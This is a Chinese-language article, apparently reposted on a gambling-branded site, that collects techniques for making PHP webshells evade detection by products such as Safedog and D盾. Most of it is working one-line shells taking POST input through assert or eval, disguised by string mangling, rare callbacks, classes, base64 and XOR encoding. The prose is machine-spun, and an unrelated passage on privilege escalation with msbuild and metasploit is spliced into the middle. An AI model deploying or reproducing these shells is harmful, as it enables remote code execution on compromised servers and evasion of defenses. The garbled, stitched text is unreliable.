关于php免杀webshell的一些总结 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

关于php免杀webshell的一些总结

申博_安全防护 申博 90次浏览 未收录 0个评论

0x01 媒介

尽最大努力在一文中让人人控制一些有用的WEBSHELL免杀技能

0x02 目次

  1. 关于eval 于 assert
  2. 字符串变形
  3. 界说函数绕过
  4. 回调函数
  5. 回调函数变形
  6. 特别字符滋扰
  7. 数组
  8. 编码绕过
  9. 无字符特性马
  10. PHP7.1后webshell何去何从
  11. 总结

0x03 关于eval 于 assert

关于eval函数在php给出的官方申明是

eval 是一个言语组织器而不是一个函数,不克不及被 可变函数 挪用
可变函数:经由过程一个变量,猎取其对应的变量值,然后经由过程给该值增添一个括号(),让体系以为该值是一个函数,从而当作函数来实行
浅显的说好比你 <?php $a=eval;$a() ?> 如许是不可的 也作育了用eval的话达不到assert的天真,然则在php7.1以上assert已不可

关于assert函数

assert() 回调函数在构建自动测试套件的时刻特别有用,因为它们许可你简易地捕捉传入断言的代码,并包罗断言的地位信息。 当信息能够或许被其他要领捕捉,运用断言能够让它更快更轻易!

0x04 字符串变形

字符串变形多半用于BYPASS平安狗,相称关于D盾,平安狗越发注意”形”
一个特别的变形就可以绕过平安狗,看看PHP手册,有着许多关于操纵字符串的函数

ucwords() //函数把字符串中每一个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两头删除空缺字符和其他预界说字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串支解为更小的字符串
str_rot13() //函数对字符串实行 ROT13 编码。

因为PHP的天真性操纵字符串的函数许多,我这里就纷歧一列举了

substr_replace() 函数变形assert 到达免杀的结果

<?php

$a = substr_replace("assexx","rt",4);

$a($_POST['x']);

?>

其他函数相似 纷歧一列举了

0x05 界说函数绕过

界说一个函数把症结词支解到达bypass结果

<?php 
function kdog($a){
    $a($_POST['x']);
}
kdog(assert);
?>

反之

<?php 
function kdog($a){
    assert($a);
}
kdog($_POST[x]);
?>

结果一样,这类绕过要领,对平安狗照样对照有用的 在d盾眼前就显得小儿科了 ,不外背面会讲到如何用界说函数的要领来 绕过d盾

0x05 回调函数

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

回调函数大部分已被平安软件到场百口桶套餐 以是找到一个冷僻的不经常使用的回调函数来实行 好比

<?php 
forward_static_call_array(assert,array($_POST[x]));
?>

这个函数能过狗,然则D盾显现是一级

0x05 回调函数变形

前面说过众多回调函数已被到场奢华套餐了,怎样绕过呢,实在也很简朴 那就是界说个函数 或许类来挪用

界说一个函数

<?php
function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

界说一个类

绕过某安全防护套装程序实战提权

0x00 前言 平常自己挺喜欢折腾的,有时候遇到一个好的突破点会折腾它个几天几夜,刚刚忙完护网,正准备修整几天,突然有人朋友联系我说有个任务需要搞进去,问我能行不能行,后来得知是已经拿到webshell了,通过一番努力便有了下文。 0x01 前期的信息刺探** 首先拿到webshell,发现phpshell只能访问shell所在目录,连网站根目录都跨不过去如图: c盘d盘根目录就更别提跨过去了,随之执行一下命令看看,如图: whoami等简单的命令可以跑起来,tasklist发现了 某某安全套装等安全防护进程进程,om my god,刺激,就喜欢这种各种需要绕的环境,既然能跑起命令来那就上免杀的exp来试着提一下(通过rar解压方法突破某防护程序上传),如图: 经过测试发现,不管把exp放哪个目录都提示拒绝访问,特别是net命令都禁止执行,越发让我感觉是安装安全防护程序的缘故; 0x02 深入 通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程 在webshell执行直接执行rar程序一直提示拒绝访问如图: 在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多,看官请看 成功将我们想要的exe程序解压到指定目录,webshell下是没法cd

<?php
class loveme {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>

0x06 特别字符滋扰

特别字符滋扰,要求是能滋扰到杀软的正则推断,还要代码能实行,网上广为流传的衔接符

初代版本

<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>

不外已不克不及免杀了,应用恰当的变形即可免杀 如

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

其他要领人人恣意施展如”\r\n\t”,函数返回,类,等等

除衔接标记 另有个定名空间的器械 \ 详细人人能够看看php手册

<?php
function dog($a){
    \assert($a);
}
dog($_POST[x]);
?>

固然另有其他的标记熟读PHP手册就会有纷歧样的发明

0x07 数组

把实行代码放入数组中实行绕过

<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
?>

多维数组

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
?>

0x08 类

说到类肯定要搭配上把戏要领好比 __destruct()__construct()
直接上代码

<?php 

class me
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}

$b = new me;
$b->a = $_POST['x'];

?>

用类把函数包裹,D盾对类查杀较弱

0x09 编码绕过

用php的编码函数,或许用异或等等
简朴的base64_decode,个中因为他的正则婚配能够到场一些下划线滋扰杀软

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST[x]);
?>

异或

<?php
$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>

0x9 无字符特性马

关于无特性马这里我的意义是 无字符特性

  1. 应用异或,编码等体式格局 比方p神博客的
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
  1. 应用正则婚配字符 如Tab等 然后转换为字符
  1. 应用POST包猎取症结参数实行 比方
<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>

0x10 PHP7.1后webshell何去何从

在php7.1背面我们已不克不及运用壮大的assert函数了用eval将越发注意特别的挪用要领和一些字符滋扰,后期人人能够越发偏向运用大马

能够偷偷引见下我的民众号吗 aleenzz (404平安)

总结

关于平安狗杀形,d盾杀参的思绪来绕过。冷僻的回调函数,特别的加密体式格局,和症结词的后传入都是不错的挑选。
关于症结词的后传入对免杀平安狗,d盾,河马 等等都是不错的,后期关于菜刀的轮子,也要走向高度的自界说化
用户能够对传出的post数据举行自界说剧本加密,再由webshell举行解密猎取参数,那末以如今的软WAF查杀才能
险些为0,平安软件也须要与时俱进了。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明关于php免杀webshell的一些总结
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址